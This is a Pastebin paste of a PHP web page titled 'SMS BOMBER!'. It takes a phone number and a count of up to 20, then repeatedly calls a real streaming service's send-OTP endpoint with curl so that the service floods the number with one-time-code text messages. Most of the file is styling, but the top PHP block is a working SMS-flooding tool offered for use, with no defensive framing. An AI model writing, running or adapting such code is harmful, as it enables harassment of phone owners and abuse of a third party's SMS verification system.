Advertisement
Guest User

index

a guest
Feb 23rd, 2021
322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.65 KB | None | 0 0
  1. <?php
  2. session_start();
  3. if(isset($_POST['submit'])){
  4.     $number = $_POST['number'];
  5.     $amount = $_POST['amount'];
  6.     if($amount > 20 or $amount < 0){
  7.         $_SESSION['alert'] = '<div class="alert alert-danger alert-white rounded"><div class="icon"><i class="fa fa-times-circle"></i></div><strong>Maximum amount is 20!</strong></div><br>';
  8.     }else{
  9.         for($i=0; $i < $amount; $i++){
  10.             $url = "https://stage.bioscopelive.com/en/login/send-otp?phone=88".$number."&operator=bd-otp";
  11.             $cSession = curl_init();
  12.             curl_setopt($cSession,CURLOPT_URL,$url);
  13.             curl_setopt($cSession,CURLOPT_RETURNTRANSFER,true);
  14.             curl_setopt($cSession,CURLOPT_HEADER, false);
  15.             $result = curl_exec($cSession);
  16.             $http_code = curl_getinfo($cSession, CURLINFO_HTTP_CODE);
  17.             curl_close($cSession);
  18.         }
  19.     }
  20.     if(empty($http_code)){
  21.         $http_code = "408";
  22.     }
  23.     if($http_code == 200){
  24.         $_SESSION['alert'] = '<div class="alert alert-success alert-white rounded"><div class="icon"><i class="fa fa-check"></i></div><strong>Success!</strong></div><br>';
  25.     }else{
  26.         $_SESSION['alert'] = '<div class="alert alert-danger alert-white rounded"><div class="icon"><i class="fa fa-times-circle"></i></div><strong>Failed! Error code: '.$http_code.'</strong></div><br>';
  27.     }
  28. }
  29. ?>
  30. <!DOCTYPE html>
  31. <html>
  32. <head>
  33.     <title>SMS BOMBER!</title>
  34.     <meta name="viewport" content="width=device-width, user-scalable=no"/>
  35.     <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet">
  36.     <style>
  37.         *{
  38.             padding: 0;
  39.             margin: 0;
  40.         }
  41.         body{
  42.             background: #5cb85c;
  43.         }
  44.         .container{
  45.             max-width: 290px;
  46.             padding: 50px 30px;
  47.             background: #ffffff;
  48.             margin: 10% auto;
  49.             text-align: center;
  50.             box-shadow: 0 2px 26px 0 #6F6F6F, 0 2px 26px 0 #6f6f6f;
  51.         }
  52.         input{
  53.             width: 90%;
  54.             height: 20px;
  55.             display: inline-block;
  56.             outline: 0;
  57.             border: 0;
  58.             padding: 5px;
  59.             border-bottom: 3px solid #5cb85c;
  60.         }
  61.         input:focus{
  62.             border-bottom: 3px solid #d9534f;
  63.             transition: .5s;
  64.         }
  65.         .button{
  66.             height: 35px;
  67.             width: 95%;
  68.             background: #5cb85c;
  69.             border: 0;
  70.             color: #FFFFFF;
  71.             font-weight: bold;
  72.             padding: 7px 13px;
  73.             outline: 0;
  74.             text-decoration: none;
  75.         }
  76.         .button:hover{
  77.             background: #d9534f;       
  78.             outline: 0;
  79.         }
  80.         .bless{
  81.             font-size: 13px;
  82.             color: #FF0081;
  83.             font-family: "Times new Roman";
  84.         }
  85.         h2{
  86.             color: #5cb85c;
  87.             font-family: "Times new Roman";
  88.         }
  89.         .close {
  90.             float: right;
  91.             font-size: 21px;
  92.             font-weight: bold;
  93.             line-height: 1;
  94.             color: #000;
  95.             text-shadow: 0 1px 0 #fff;
  96.             opacity: .2;
  97.         }
  98.  
  99.         .close:hover,.close:focus {
  100.             color: #000;
  101.             text-decoration: none;
  102.             cursor: pointer;
  103.             opacity: .5;
  104.         }
  105.  
  106.         button.close {
  107.             padding: 0;
  108.             cursor: pointer;
  109.             background: transparent;
  110.             border: 0;
  111.             -webkit-appearance: none;
  112.         }
  113.  
  114.         .alert {
  115.             padding: 15px;
  116.             width: 67%;
  117.             margin: auto;
  118.             border: 1px solid transparent;
  119.             border-radius: 4px;
  120.         }
  121.  
  122.         .alert h4 {
  123.             margin-top: 0;
  124.             color: inherit;
  125.         }
  126.  
  127.         .alert .alert-link {
  128.             font-weight: bold;
  129.         }
  130.  
  131.         .alert>p,.alert>ul {
  132.             margin-bottom: 0;
  133.         }
  134.  
  135.         .alert>p+p {
  136.             margin-top: 5px;
  137.         }
  138.  
  139.         .alert-dismissable {
  140.             padding-right: 35px;
  141.         }
  142.  
  143.         .alert-dismissable .close {
  144.             position: relative;
  145.             top: -2px;
  146.             right: -21px;
  147.             color: inherit;
  148.         }
  149.  
  150.         .alert-success {
  151.             background-color: #dff0d8;
  152.             border-color: #d6e9c6;
  153.             color: #3c763d;
  154.         }
  155.  
  156.         .alert-success hr {
  157.             border-top-color: #c9e2b3;
  158.         }
  159.  
  160.         .alert-success .alert-link {
  161.             color: #2b542c;
  162.         }
  163.  
  164.         .alert-info {
  165.             background-color: #d9edf7;
  166.             border-color: #bce8f1;
  167.             color: #31708f;
  168.         }
  169.  
  170.         .alert-info hr {
  171.             border-top-color: #a6e1ec;
  172.         }
  173.  
  174.         .alert-info .alert-link {
  175.             color: #245269;
  176.         }
  177.  
  178.         .alert-warning {
  179.             background-color: #fcf8e3;
  180.             border-color: #faebcc;
  181.             color: #8a6d3b;
  182.         }
  183.  
  184.         .alert-warning hr {
  185.             border-top-color: #f7e1b5;
  186.         }
  187.  
  188.         .alert-warning .alert-link {
  189.             color: #66512c;
  190.         }
  191.  
  192.         .alert-danger {
  193.             background-color: #f2dede;
  194.             border-color: #ebccd1;
  195.             color: #a94442;
  196.         }
  197.  
  198.         .alert-danger hr {
  199.             border-top-color: #e4b9c0;
  200.         }
  201.  
  202.         .alert-danger .alert-link {
  203.             color: #843534;
  204.         }
  205.  
  206.         .alert {
  207.             border-radius: 0;
  208.             -webkit-border-radius: 0;
  209.             box-shadow: 0 1px 2px rgba(0,0,0,0.11);
  210.         }
  211.  
  212.         .alert .sign {
  213.             font-size: 20px;
  214.             vertical-align: middle;
  215.             margin-right: 5px;
  216.             text-align: center;
  217.             width: 25px;
  218.             display: inline-block;
  219.         }
  220.  
  221.         .alert-success {
  222.             background-color: #dbf6d3;
  223.             border-color: #aed4a5;
  224.             color: #569745;
  225.         }
  226.  
  227.         .alert-info {
  228.             background-color: #d9edf7;
  229.             border-color: #98cce6;
  230.             color: #3a87ad;
  231.         }
  232.  
  233.         .alert-warning {
  234.             background-color: #fcf8e3;
  235.             border-color: #f1daab;
  236.             color: #c09853;
  237.         }
  238.  
  239.         .alert-danger {
  240.             background-color: #f2dede;
  241.             border-color: #e0b1b8;
  242.             color: #b94a48;
  243.         }
  244.  
  245.         .alert-white {
  246.             background-image: linear-gradient(to bottom,#FFFFFF,#F9F9F9);
  247.             border-top-color: #d8d8d8;
  248.             border-bottom-color: #bdbdbd;
  249.             border-left-color: #cacaca;
  250.             border-right-color: #cacaca;
  251.             color: #404040;
  252.             padding-left: 61px;
  253.             position: relative;
  254.         }
  255.  
  256.         .alert-white .icon {
  257.             text-align: center;
  258.             width: 45px;
  259.             height: 100%;
  260.             position: absolute;
  261.             top: -1px;
  262.             left: -1px;
  263.             border: 1px solid #bdbdbd;
  264.         }
  265.  
  266.         .alert-white .icon:after {
  267.             -webkit-transform: rotate(45deg);
  268.             -moz-transform: rotate(45deg);
  269.             -ms-transform: rotate(45deg);
  270.             -o-transform: rotate(45deg);
  271.             -webkit-transform: rotate(45deg);
  272.             display: block;
  273.             content: '';
  274.             width: 10px;
  275.             height: 10px;
  276.             border: 1px solid #bdbdbd;
  277.             position: absolute;
  278.             border-left: 0;
  279.             border-bottom: 0;
  280.             top: 50%;
  281.             right: -6px;
  282.             margin-top: -5px;
  283.             background: #fff;
  284.         }
  285.  
  286.         .alert-white.rounded {
  287.             border-radius: 3px;
  288.             -webkit-border-radius: 3px;
  289.         }
  290.  
  291.         .alert-white.rounded .icon {
  292.             border-radius: 3px 0 0 3px;
  293.             -webkit-border-radius: 3px 0 0 3px;
  294.         }
  295.  
  296.         .alert-white .icon i {
  297.             font-size: 20px;
  298.             color: #FFF;
  299.             left: 12px;
  300.             margin-top: -10px;
  301.             position: absolute;
  302.             top: 50%;
  303.         }
  304.  
  305.         .alert-white.alert-danger .icon,.alert-white.alert-danger .icon:after {
  306.             border-color: #ca452e;
  307.             background: #da4932;
  308.         }
  309.  
  310.         .alert-white.alert-info .icon,.alert-white.alert-info .icon:after {
  311.             border-color: #3a8ace;
  312.             background: #4d90fd;
  313.         }
  314.  
  315.         .alert-white.alert-warning .icon,.alert-white.alert-warning .icon:after {
  316.             border-color: #d68000;
  317.             background: #fc9700;
  318.         }
  319.  
  320.         .alert-white.alert-success .icon,.alert-white.alert-success .icon:after {
  321.             border-color: #54a754;
  322.             background: #60c060;
  323.         }
  324.     </style>
  325. </head>
  326. <body>
  327.     <div class="container">
  328.         <form method="POST">
  329.             <h2>SMS BOMBER!</h2>
  330.             <br>
  331.             <?php
  332.             if(isset($_SESSION['alert'])){
  333.                 echo $_SESSION['alert'];
  334.             }
  335.             if(!isset($_SESSION['alert'])){
  336.             ?>
  337.             <input type="number" name="number" placeholder="Number(ex. 01XXXXXXXXX)" autocomplete="off">
  338.             <br><br>
  339.             <input type="number" name="amount" placeholder="Amount(Max. 20)" autocomplete="off">
  340.             <br><br>
  341.             <input type="submit" name="submit" value="BOOM!" class="button">
  342.         <?php }else{
  343.             ?>
  344.             <a href="index.php" class="button">TRY AGAIN!</a>
  345.             <?php
  346.         }
  347.             $_SESSION['alert'] = null;
  348.         ?>
  349.         </form>
  350.     </div>
  351. </body>
  352. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement